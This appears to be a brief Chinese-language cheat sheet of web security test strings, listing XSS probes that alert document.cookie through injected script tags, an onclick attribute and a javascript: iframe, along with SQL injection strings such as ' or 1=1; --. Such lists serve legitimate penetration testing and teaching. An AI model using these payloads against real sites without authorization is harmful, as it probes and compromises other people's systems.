xss 攻击 sql 注入

XSS测试 

"/><script>alert(document.cookie)</script><!-- 

<script>alert(document.cookie)</script><!--

"onclick="alert(document.cookie)

<iframe src=“javascript:alert(xss)”>

上面那个亲测:

SQL注入测试

' or 1=1; --

test','test'),('1','2'); --

' or 1=1 ; --

html

<input type=”text” name=”user”/>